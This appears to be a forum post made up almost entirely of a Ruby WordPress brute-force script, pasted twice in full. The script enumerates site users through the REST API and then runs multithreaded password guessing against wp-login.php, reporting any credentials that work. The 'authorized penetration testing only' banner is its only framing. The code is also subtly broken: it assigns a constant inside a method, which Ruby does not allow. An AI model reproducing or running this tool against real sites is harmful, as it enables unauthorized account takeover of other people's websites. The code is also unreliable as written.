- Joined
- 19 Dec 2025
- Messages
- 4
- Reaction score
- 0
- Points
- 1
#!/usr/bin/env ruby
# WordPress Admin Panel Brute Force Tool
# For authorized penetration testing only
require 'net/http'
require 'uri'
require 'openssl'
require 'optparse'
require 'thread'
require 'json'
class WPBruteForcer
def initialize(options)
@target = options[:target]
@userlist = options[:userlist]
@wordlist = options[:wordlist]
@threads = options[:threads] || 10
Timeout = options[:timeout] || 10
@valid_users = []
@found_credentials = []
end
def banner
puts <<-BANNER
\t============================================
\t WordPress Admin Panel Brute Force Tool
\t Authorized Penetration Testing Only
\t============================================
BANNER
end
def check_target
begin
uri = URI(@target)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
request = Net::HTTP::Get.new(uri.path)
response = http.request(request)
if response.code == '200'
puts "[+] Target is accessible"
return true
else
puts "[-] Target returned HTTP #{response.code}"
return false
end
rescue => e
puts "[-] Error connecting to target: #{e.message}"
return false
end
end
def enumerate_users
puts "[*] Enumerating WordPress users..."
(1..10).each do |i|
begin
uri = URI("#{@target}/?rest_route=/wp/v2/users/#{i}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
if response.code == '200'
user_data = JSON.parse(response.body)
username = user_data['slug']
@valid_users << username
puts "[+] Found user: #{username}"
elsif response.code == '404'
puts "[-] No more users found" if i > 1
break
end
rescue => e
puts "[-] Error enumerating user ID #{i}: #{e.message}"
end
end
if @valid_users.empty?
# Fallback to common usernames
@valid_users = ['admin', 'administrator', 'test', 'user']
puts "[!] Could not enumerate users, using common usernames"
end
end
def load_wordlist
begin
passwords = File.readlines(@wordlist).map(&:chomp)
puts "[+] Loaded #{passwords.length} passwords from wordlist"
return passwords
rescue => e
puts "[-] Error loading wordlist: #{e.message}"
return []
end
end
def load_userlist
begin
users = File.readlines(@userlist).map(&:chomp)
puts "[+] Loaded #{users.length} usernames from userlist"
return users
rescue => e
puts "[-] Error loading userlist: #{e.message}"
return []
end
end
def get_login_nonce
begin
uri = URI(@target + '/wp-login.php')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
# Extract nonce from response
if response.body =~ /name="wpnonce" value="([^"]+)"/
return $1
elsif response.body =~ /name="_wpnonce" value="([^"]+)"/
return $1
else
puts "[!] Could not find nonce, using empty string"
return ""
end
rescue => e
puts "[-] Error getting login nonce: #{e.message}"
return ""
end
end
def attempt_login(username, password)
begin
uri = URI(@target + '/wp-login.php')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
# Prepare login data
nonce = get_login_nonce
data = {
'log' => username,
'pwd' => password,
'wp-submit' => 'Log In',
'redirect_to' => "#{@target}/wp-admin/",
'testcookie' => '1'
}
# Add nonce if available
data['wpnonce'] = nonce unless nonce.empty?
request = Net::HTTP::Post.new(uri.request_uri)
request['Content-Type'] = 'application/x-www-form-urlencoded'
request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
request.body = URI.encode_www_form(data)
response = http.request(request)
# Check if login was successful
if response['location']&.include?('wp-admin') ||
response.body.include?('Dashboard') ||
response.body.include?('wp-admin')
return true
else
return false
end
rescue => e
puts "[-] Error during login attempt for #{username}: #{e.message}"
return false
end
end
def brute_force_passwords(passwords)
puts "[*] Starting brute force attack with #{@threads} threads..."
# Use threads for concurrent attacks
queue = Queue.new
results = Queue.new
# Add all combinations to queue
usernames = @userlist ? load_userlist : @valid_users
usernames.each do |username|
passwords.each do |password|
queue.push([username, password])
end
end
workers = (1..@threads).map do
Thread.new do
while !queue.empty?
begin
username, password = queue.pop(true)
print "\r[+] Testing: #{username}:#{password} (Queue: #{queue.size})"
$stdout.flush
if attempt_login(username, password)
puts "\n[!] SUCCESS: #{username}:#{password}"
results.push("#{username}:#{password}")
end
rescue ThreadError
# Queue is empty
break
end
end
end
end
# Wait for all threads to finish
workers.each(&:join)
# Collect results
while !results.empty?
@found_credentials << results.pop
end
if @found_credentials.empty?
puts "\n[-] No valid credentials found"
else
puts "\n[+] Found #{@found_credentials.length} valid credential(s):"
@found_credentials.each { |cred| puts " #{cred}" }
end
end
def run
banner
return unless check_target
enumerate_users
passwords = load_wordlist
if passwords.empty?
# Fallback to common passwords
passwords = ['admin', 'password', '123456', 'wordpress', 'demo', 'test']
puts "[!] Using default password list"
end
brute_force_passwords(passwords)
end
end
# Command line options
options = {}
parser = OptionParser.new do |opts|
opts.banner = "Usage: #{$0} [options]"
opts.on("-t", "--target TARGET", "Target WordPress URL (e.g., https://example.com)") do |t|
options[:target] = t
end
opts.on("-u", "--userlist USERLIST", "Path to username list file") do |u|
options[:userlist] = u
end
opts.on("-w", "--wordlist WORDLIST", "Path to password wordlist file") do |w|
options[:wordlist] = w
end
opts.on("-T", "--threads THREADS", Integer, "Number of threads (default: 10)") do |t|
options[:threads] = t
end
opts.on("-o", "--timeout TIMEOUT", Integer, "Request timeout in seconds (default: 10)") do |t|
options[:timeout] = t
end
opts.on("-h", "--help", "Show this help message") do
puts opts
exit
end
end
begin
parser.parse!
# Validate required arguments
if !options[:target] || !options[:wordlist]
puts parser.help
exit 1
end
# Ensure target URL is properly formatted
unless options[:target].start_with?('http://') || options[:target].start_with?('https://')
options[:target] = "https://#{options[:target]}"
end
# Run the brute forcer
forcer = WPBruteForcer.new(options)
forcer.run
rescue Interrupt
puts "\n[!] Interrupted by user"
exit 1
end
# WordPress Admin Panel Brute Force Tool
# For authorized penetration testing only
require 'net/http'
require 'uri'
require 'openssl'
require 'optparse'
require 'thread'
require 'json'
class WPBruteForcer
def initialize(options)
@target = options[:target]
@userlist = options[:userlist]
@wordlist = options[:wordlist]
@threads = options[:threads] || 10
Timeout = options[:timeout] || 10
@valid_users = []
@found_credentials = []
end
def banner
puts <<-BANNER
\t============================================
\t WordPress Admin Panel Brute Force Tool
\t Authorized Penetration Testing Only
\t============================================
BANNER
end
def check_target
begin
uri = URI(@target)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
request = Net::HTTP::Get.new(uri.path)
response = http.request(request)
if response.code == '200'
puts "[+] Target is accessible"
return true
else
puts "[-] Target returned HTTP #{response.code}"
return false
end
rescue => e
puts "[-] Error connecting to target: #{e.message}"
return false
end
end
def enumerate_users
puts "[*] Enumerating WordPress users..."
(1..10).each do |i|
begin
uri = URI("#{@target}/?rest_route=/wp/v2/users/#{i}")
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
if response.code == '200'
user_data = JSON.parse(response.body)
username = user_data['slug']
@valid_users << username
puts "[+] Found user: #{username}"
elsif response.code == '404'
puts "[-] No more users found" if i > 1
break
end
rescue => e
puts "[-] Error enumerating user ID #{i}: #{e.message}"
end
end
if @valid_users.empty?
# Fallback to common usernames
@valid_users = ['admin', 'administrator', 'test', 'user']
puts "[!] Could not enumerate users, using common usernames"
end
end
def load_wordlist
begin
passwords = File.readlines(@wordlist).map(&:chomp)
puts "[+] Loaded #{passwords.length} passwords from wordlist"
return passwords
rescue => e
puts "[-] Error loading wordlist: #{e.message}"
return []
end
end
def load_userlist
begin
users = File.readlines(@userlist).map(&:chomp)
puts "[+] Loaded #{users.length} usernames from userlist"
return users
rescue => e
puts "[-] Error loading userlist: #{e.message}"
return []
end
end
def get_login_nonce
begin
uri = URI(@target + '/wp-login.php')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
# Extract nonce from response
if response.body =~ /name="wpnonce" value="([^"]+)"/
return $1
elsif response.body =~ /name="_wpnonce" value="([^"]+)"/
return $1
else
puts "[!] Could not find nonce, using empty string"
return ""
end
rescue => e
puts "[-] Error getting login nonce: #{e.message}"
return ""
end
end
def attempt_login(username, password)
begin
uri = URI(@target + '/wp-login.php')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
http.open_timeout = Timeout
http.read_timeout = Timeout
# Prepare login data
nonce = get_login_nonce
data = {
'log' => username,
'pwd' => password,
'wp-submit' => 'Log In',
'redirect_to' => "#{@target}/wp-admin/",
'testcookie' => '1'
}
# Add nonce if available
data['wpnonce'] = nonce unless nonce.empty?
request = Net::HTTP::Post.new(uri.request_uri)
request['Content-Type'] = 'application/x-www-form-urlencoded'
request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
request.body = URI.encode_www_form(data)
response = http.request(request)
# Check if login was successful
if response['location']&.include?('wp-admin') ||
response.body.include?('Dashboard') ||
response.body.include?('wp-admin')
return true
else
return false
end
rescue => e
puts "[-] Error during login attempt for #{username}: #{e.message}"
return false
end
end
def brute_force_passwords(passwords)
puts "[*] Starting brute force attack with #{@threads} threads..."
# Use threads for concurrent attacks
queue = Queue.new
results = Queue.new
# Add all combinations to queue
usernames = @userlist ? load_userlist : @valid_users
usernames.each do |username|
passwords.each do |password|
queue.push([username, password])
end
end
workers = (1..@threads).map do
Thread.new do
while !queue.empty?
begin
username, password = queue.pop(true)
print "\r[+] Testing: #{username}:#{password} (Queue: #{queue.size})"
$stdout.flush
if attempt_login(username, password)
puts "\n[!] SUCCESS: #{username}:#{password}"
results.push("#{username}:#{password}")
end
rescue ThreadError
# Queue is empty
break
end
end
end
end
# Wait for all threads to finish
workers.each(&:join)
# Collect results
while !results.empty?
@found_credentials << results.pop
end
if @found_credentials.empty?
puts "\n[-] No valid credentials found"
else
puts "\n[+] Found #{@found_credentials.length} valid credential(s):"
@found_credentials.each { |cred| puts " #{cred}" }
end
end
def run
banner
return unless check_target
enumerate_users
passwords = load_wordlist
if passwords.empty?
# Fallback to common passwords
passwords = ['admin', 'password', '123456', 'wordpress', 'demo', 'test']
puts "[!] Using default password list"
end
brute_force_passwords(passwords)
end
end
# Command line options
options = {}
parser = OptionParser.new do |opts|
opts.banner = "Usage: #{$0} [options]"
opts.on("-t", "--target TARGET", "Target WordPress URL (e.g., https://example.com)") do |t|
options[:target] = t
end
opts.on("-u", "--userlist USERLIST", "Path to username list file") do |u|
options[:userlist] = u
end
opts.on("-w", "--wordlist WORDLIST", "Path to password wordlist file") do |w|
options[:wordlist] = w
end
opts.on("-T", "--threads THREADS", Integer, "Number of threads (default: 10)") do |t|
options[:threads] = t
end
opts.on("-o", "--timeout TIMEOUT", Integer, "Request timeout in seconds (default: 10)") do |t|
options[:timeout] = t
end
opts.on("-h", "--help", "Show this help message") do
puts opts
exit
end
end
begin
parser.parse!
# Validate required arguments
if !options[:target] || !options[:wordlist]
puts parser.help
exit 1
end
# Ensure target URL is properly formatted
unless options[:target].start_with?('http://') || options[:target].start_with?('https://')
options[:target] = "https://#{options[:target]}"
end
# Run the brute forcer
forcer = WPBruteForcer.new(options)
forcer.run
rescue Interrupt
puts "\n[!] Interrupted by user"
exit 1
end
